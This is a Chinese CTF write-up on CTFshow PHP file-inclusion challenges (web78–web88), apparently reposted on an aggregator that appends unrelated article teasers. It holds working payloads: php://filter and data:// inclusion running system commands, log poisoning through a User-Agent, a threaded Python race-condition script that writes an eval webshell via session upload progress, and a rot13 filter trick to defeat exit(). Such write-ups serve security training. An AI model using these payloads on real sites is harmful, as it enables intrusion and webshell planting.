【Web】CTFSHOW PHP文件包含刷题记录(全)

news2024/11/17 9:39:56

温故知新。

目录

web78

web79

web80

web81

web82

web83

web84

web85

web86

web87

web88


web78

伪协议base64编码直接读出文件内容就行

?file=php://filter/convert.base64-encode/resource=flag.php

web79

一眼data伪协议包含php脚本

?file=data://text/plain,<?=system('tac f*')?>

web80

data也被禁了,日志包含即可

?file=/var/log/nginx/access.log

UA:<?php system('tac f*')?>

web81

多禁了一个":",还是可以日志包含

?file=/var/log/nginx/access.log

UA:<?php system('tac f*')?>

web82

连"."都被禁用了,/tmp/sess_xxx是不带点的,尝试多线程条件竞争包含临时目录下的session文件

【心得】PHP文件包含高级利用攻击面个人笔记

竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。

开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,但他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。

线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段,也被称之为临界区(critical section),如果没有应用好同步技术则会发生“竞争条件”问题。

条件竞争漏洞其实也就是当同时并发多个线程去做同一件事,导致处理逻辑的代码出错,出现意想不到的结果。
 

下面贴出我的私用脚本,建议收藏(bushi

import requests
import threading

sess = "Z3r4y"

file_name = "/var/www/html/1.php"
file_content = '<?php eval($_POST[1]);?>'

url = "http://30fb3ca5-61ea-49af-927f-05e8c0f4fcc7.challenge.ctf.show/"

data = {
    "PHP_SESSION_UPLOAD_PROGRESS": f"<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>"
}

file = {
    'file': 'Z3r4y'
}

cookies = {
    'PHPSESSID': sess
}


def write(session):
    while True:
        r = session.post(url=url, data=data, files=file, cookies=cookies)


def read(session):
    while True:
        r = session.post(url=url + "?file=/tmp/sess_Z3r4y")
        if "success" in r.text:
            print("shell 地址为:" + url + "/1.php")
            exit()
        else:
            print('让我访问!!')


if __name__ == '__main__':
    threads = []
    for i in range(5):
        session = requests.session()
        t = threading.Thread(target=write, args=(session,))
        threads.append(t)
        t.start()

    for i in range(5):
        session = requests.session()
        t = threading.Thread(target=read, args=(session,))
        threads.append(t)
        t.start()

    for t in threads:
        t.join()

运行结果

拿到shell,访问RCE即可

web83

session_unset()函数用于释放当前会话中所有已注册的会话变量。它会将会话数组中的所有元素置为空,并将当前会话的变量销毁,但并不会完全终止会话。

session_destroy()函数用于销毁当前会话。它会删除当前会话的所有数据,包括会话文件(如果使用文件存储会话数据)或相关的存储机制中的数据。同时,会话ID也会被删除,导致会话无法再被恢复。

这两个函数通常一起使用,用于清除和终止会话。

但是并不慌,只要是程序运行,必定会消耗时间,从session_unset()运行到include之前的这段时间,我们只要再上传文件注册一个session就可在临时文件里再创建一个sess文件,成功包含。

脚本和上一题一样。

web84

同上,在system("rm -rf /tmp/*")和include($file)之间再上传sess文件即可成功包含。

web85

 同上,进file_exists的时候一个线程的sess文件还在,进file_get_contents之前时候会话终止,sess文件被销毁,然后文件内容为空进不到strpos的if判断,成功包含。

线程开大一点就可以成功写入。

web86

dirname — 返回 path 的父目录。 如果在 path 中没有斜线,则返回一个点('.'),表示当前目录。否则返回的是把 path 中结尾的/component(最后一个斜线以及后面部分)去掉之后的字符串。

set_include_path — 设置include函数中 include_path 配置选项,成功时返回旧的 include_path或者在失败时返回 false

include — 被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path指定的目录寻找。如果在 include_path下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则 include 结构会发出一条警告;这一点和require 不同,后者会发出一个致命错误。

我们include已经指定了路径,不受影响,还是用上面的脚本打

web87

 一眼死亡exit绕过

php://filter 绕过死亡file_put_content()

?file=php://filter/write=string.rot13/resource=1.php

php-fpm接收数据时会url解码一次, urldecode又会url解码一次,所以要url二次编码,顺便过掉':'和'.'的waf

这里推荐用burpsuite自带的编码工具,它的url编码是全编码

 

php://filter/write=string.rot13/resource=1.php用于将输出进行rot13编码后写入指定的文件

然后随便找个rot13在线编码网站,编码一次, 这样伪协议过滤器rot13编码写文件就会把编码内容还原会原来的恶意代码(rot13编码两次即恢复原样),顺带过掉die。最终payload:

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30

post:content=<?cuc flfgrz('gnp s*');?>

web88

没有过滤冒号,可以使用data://协议。但是因为过滤了'php'和'=',不太好直接写马,所以需要base64编码。不过还有一点就是base64编码后很容易出'='和'+',所以需要去加一些字符调整payload。

 加个Z3r4y竟然可以hhh

payload:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/PlozcjR5

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1376432.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

rust语言介绍篇

Rust出现就是为了解决C面临的所有问题。Rust是一门系统编程语言 [1]&#xff0c;专注于安全 [2]&#xff0c;尤其是并发安全&#xff0c;支持函数式和命令式以及泛型等编程范式的多范式语言。Rust在语法上和C类似 [3]&#xff0c;设计者想要在保证性能的同时提供更好的内存安全…

【财务数据分析经验分享】如何进行三大报表的年度解读

很快就要到年底了&#xff0c;大家又要开始进行年度经营数据分析了。今天我就用一个例子来演示财务数据分析三张报表的年度分析。 为了更便捷的从年度来分析三大报表&#xff0c;我分别以同样的基本思路对三大报表开发出三张年度分析报表&#xff1a; 1、 按年度来进行筛选分…

windows搭建银河麒麟v10虚拟机

需要用到&#xff1a; 已将安装包放置云盘 自取 VMware Workstation Pro16 https://cloud.189.cn/t/vYZNjqbQ7zUr (访问码:a2pd) 银河麒麟v10镜像 https://cloud.189.cn/t/j6ZNfmnYfYRr (访问码:1icf) 也可以去官网下载&#xff1a;https://www.kylinos.cn 1.安装VM 无…

解密!神奇代码消除 Vue 中 Mac 电脑左滑右滑页面跳转

想知道如何让Mac电脑左滑右滑不再意外跳转页面吗&#xff1f;本文将揭示一个独家秘籍&#xff0c;通过简单的一行代码&#xff0c;让你的用户体验飞速提升&#xff01;别错过这个让你的Vue表格组件更顺畅的宝贵技巧&#xff01; 最近&#xff0c;我在使用 Vue 开发表格组件时遇…

动态pv策略和组件

pv和pvc&#xff0c;存储卷&#xff1a; 存储卷&#xff1a; emptyDir 容器内部&#xff0c;随着pod销毁&#xff0c;emptyDir也会消失 不能做数据持久化 hostPath&#xff1a;持久化存储数据 可以和节点上的目录做挂载。pod被销毁了数据还在 NFS&#xff1a;一台机器&am…

【AI视野·今日NLP 自然语言处理论文速览 第七十四期】Wed, 10 Jan 2024

AI视野今日CS.NLP 自然语言处理论文速览 Wed, 10 Jan 2024 Totally 38 papers &#x1f449;上期速览✈更多精彩请移步主页 Daily Computation and Language Papers Model Editing Can Hurt General Abilities of Large Language Models Authors Jia Chen Gu, Hao Xiang Xu, J…

轮询定时器 清除 + vue2.0

需求? Gin Vue Element UI框架中, 我的大屏可视化项目, 大屏页面, 里边写了多个轮询定时器. 离开页面需要清理掉, 要不然切换路由还会在后台运行, 页面是自动缓存状态, 也不存在销毁一说了 所以通过路由router配置中, 页面路由监听中, 进行监听路由变化, 但是也没生效 …

支付宝异步验签踩的坑

最近公司要做支付宝小程序 我作为服务端就要给小程序配置下单啊&#xff0c;异步回调同步支付状态等功能 就不可避免的使用到了支付宝异步验签 首先背景是我是PHP语言&#xff0c;然后验签方式是RSA2 一开始写原生验签方法&#xff0c;验签失败&#xff0c;后面又搞sdk 验签…

性能测试很简单-JMeter性能测试实践

最近破费买了一台服务器&#xff0c;准备搭建自己的网站&#xff0c;顺便将自己开发的一些测试小工具部署到服务器上&#xff0c;虽然机器配置一般&#xff0c;还是决定对服务器进行压测一番&#xff0c;看一下服务器性能如何。本次压测选择的工具是JMeter&#xff0c;这个工具…

vue Element Plus Cascader级联选择器点击标签选中复选框

element-plus原功能 element-plus的Cascader级联选择器点击标签时是不会选中复选框的&#xff0c;我们想要实现点击标签时也能选中复选框这个效果&#xff0c;那么就要用到一些原生的方法 实现效果 mounted() {// Cascader 级联选择器: 点击文本就让它自动点击前面的input就可…

在Windows服务器上部署项目【虚拟机版】

一. jdk的安装 1、直接双击jdk应用程序&#xff0c;然后下一步下一步即可。 2、安装完成后&#xff0c;在此电脑➡右键➡属性➡高级系统变量。 3、配置环境变量 新建JAVA_HOMEC:\Program Files\Java\jdk1.8.0_144 编辑pathpath%JAVA_HOME%\bin;%JAVA_HOME%\jre\bin; 4、测试&am…

uniapp微信小程序投票系统实战 (SpringBoot2+vue3.2+element plus ) -投票创建页面实现

锋哥原创的uniapp微信小程序投票系统实战&#xff1a; uniapp微信小程序投票系统实战课程 (SpringBoot2vue3.2element plus ) ( 火爆连载更新中... )_哔哩哔哩_bilibiliuniapp微信小程序投票系统实战课程 (SpringBoot2vue3.2element plus ) ( 火爆连载更新中... )共计21条视频…

[足式机器人]Part2 Dr. CAN学习笔记-Advanced控制理论 Ch04-6 线性控制器设计Linear Controller Design

本文参考&#xff1a; B站&#xff1a;DR_CAN Dr. CAN学习笔记-Advanced控制理论 Ch04-6 线性控制器设计Linear Controller Design

C++核心编程——类和对象(一)

本专栏记录C学习过程包括C基础以及数据结构和算法&#xff0c;其中第一部分计划时间一个月&#xff0c;主要跟着黑马视频教程&#xff0c;学习路线如下&#xff0c;不定时更新&#xff0c;欢迎关注。 当前章节处于&#xff1a; ---------第1阶段-C基础入门 ---------第2阶段实战…

运动耳机哪个最好?2024年无线运动耳机品牌排行榜

​挑选一款适合运动的耳机是每位运动爱好者必备的决策。这些耳机不仅为你提供优质音乐&#xff0c;更在设计上考虑了运动场景&#xff0c;确保在高强度运动中稳固又舒适的佩戴感。今天&#xff0c;我将向你介绍几款在运动时表现卓越的运动耳机&#xff0c;助你全情投入每一次锻…

Unity组件开发--长连接webSocket

1.下载安装UnityWebSocket 插件 https://gitee.com/cambright/UnityWebSocket/ 引入unity项目&#xff1a; 2.定义消息体结构&#xff1a;ExternalMessage和包结构Package&#xff1a; using ProtoBuf; using System; using System.Collections; using System.Collections.Ge…

uniapp微信小程序投票系统实战 (SpringBoot2+vue3.2+element plus ) -我参与的投票列表实现

锋哥原创的uniapp微信小程序投票系统实战&#xff1a; uniapp微信小程序投票系统实战课程 (SpringBoot2vue3.2element plus ) ( 火爆连载更新中... )_哔哩哔哩_bilibiliuniapp微信小程序投票系统实战课程 (SpringBoot2vue3.2element plus ) ( 火爆连载更新中... )共计21条视频…

LeetCode刷题--- 按摩师

个人主页&#xff1a;元清加油_【C】,【C语言】,【数据结构与算法】-CSDN博客 个人专栏 力扣递归算法题 http://t.csdnimg.cn/yUl2I 【C】 ​​​​​​http://t.csdnimg.cn/6AbpV 数据结构与算法 ​​​http://t.csdnimg.cn/hKh2l 前言&#xff1a;这个专栏主要讲述动…

监督学习 - 支持向量回归(Support Vector Regression,SVR)

什么是机器学习 支持向量回归&#xff08;Support Vector Regression&#xff0c;SVR&#xff09;是一种基于支持向量机&#xff08;Support Vector Machine&#xff0c;SVM&#xff09;的回归算法&#xff0c;用于解决回归问题。与传统的回归算法不同&#xff0c;SVR的目标是…

微短剧市场暴涨267.65%,用微短剧场景AUI Kit精巧入局

微短剧&#xff0c;不仅上头&#xff0c;更要上心。 微短剧&#xff0c;深度“拿捏”了这个碎片化时代&#xff0c;也是刚过去的2023年绕不开的热词。 与传统影视剧制作精益求精、耗时长相反&#xff0c;门槛与耗时“双低”恰恰成为了微短剧的独特优势&#xff0c;使其走上以量…